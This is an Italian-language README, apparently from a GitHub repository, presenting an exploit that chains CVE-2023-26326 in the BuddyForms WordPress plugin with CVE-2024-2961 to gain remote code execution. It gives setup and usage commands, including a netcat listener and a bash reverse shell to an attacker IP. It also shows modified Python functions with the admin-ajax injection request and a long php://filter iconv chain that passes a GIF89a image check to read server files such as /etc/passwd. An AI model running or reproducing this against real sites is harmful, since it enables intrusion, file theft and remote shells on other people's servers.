
Exploit per CVE-2023-26326 nel plugin WordPress BuddyForms, che sfrutta CVE-2024-2961 per l'esecuzione remota di codice. Questo exploit aggira le limitazioni di deserializzazione di PHP 8+ concatenando vulnerabilità con php://filter.
Questo lavoro è stato realizzato da me, Omar Elshopky, e Nour El Dien Bassiouny.
Questo repository contiene un exploit per il plugin WordPress BuddyForms (CVE-2023-26326), segnalato inizialmente nell'advisory da Joshua Martinelle. L'exploit sfrutta una tecnica proposta nel blog Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine, ed è stato implementato da @ambionics nel repository cnext-exploits.
In origine, CVE-2023–26326 richiedeva gadget chain per essere sfruttato come vulnerabilità di deserializzazione. Questo metodo non è più praticabile sui siti WordPress più recenti che eseguono PHP 8+; tuttavia, concatenandolo con CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1), l'exploit diventa possibile tramite php://filter invece di phar://.
L'exploit è stato creato modificando lo script , integrando le modifiche necessarie per CVE-2023-26326, come descritto nella sezione .
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> per ricevere la reverse shell:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'


L'idea alla base dell'exploit CVE-2024-2961 è stata mantenuta, ma sono state necessarie modifiche per adattarlo all'invio della catena di filtri al sito web e al download di file dal server.
Nell'exploit originale, la funzione send viene utilizzata per inviare un percorso al server:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
Per WordPress con BuddyForms, l'interazione avviene di default tramite una richiesta POST a /wp-admin/admin-ajax.php, in cui i dati del body contengono action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif. Il parametro URL funge da punto di iniezione per l'invio della catena di filtri al server. Questo ha portato alla seguente modifica della funzione send:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
L'exploit originale aveva una funzione download responsabile del download dei file dal server. Nell'exploit originale viene utilizzata la seguente versione della funzione download:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
Per adattarlo a BuddyForms, analizziamo la funzione buddyforms_upload_image_from_url, che gestisce il caricamento di immagini da un URL. Usa file_get_contents, controlla il tipo di file con getimagesize() e poi salva il contenuto nella directory wp-content/uploads. Questo ci permette di sfruttare php://filter per leggere file locali e salvarli nella directory uploads, rendendoli accessibili tramite URL. Tuttavia, dobbiamo bypassare il controllo sul tipo di file anteponendo GIF89a al contenuto del file per simularlo come GIF. Questo può essere fatto utilizzando il filter chaining, e il tool wrapwrap può generare la catena richiesta:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000

La catena di filtri generata deve sostituire la codifica base64 utilizzata nello script originale. Inoltre, il formato per estrarre il percorso del file caricato dalla risposta deve essere aggiornato per adattarsi al formato JSON, che include l'attributo "response" impostato al percorso del file.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
Nota che il prefisso GIF89a deve essere rimosso prima di usare il contenuto del file nell'exploit, ottenendo la seguente funzione download modificata:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6Nota che il download del file libc.so.6 dal server potrebbe non funzionare correttamente con le catene di filtri, poiché il binario viene modificato durante il processo. In alternativa, il file corretto deve essere fornito nella directory principale dell'exploit.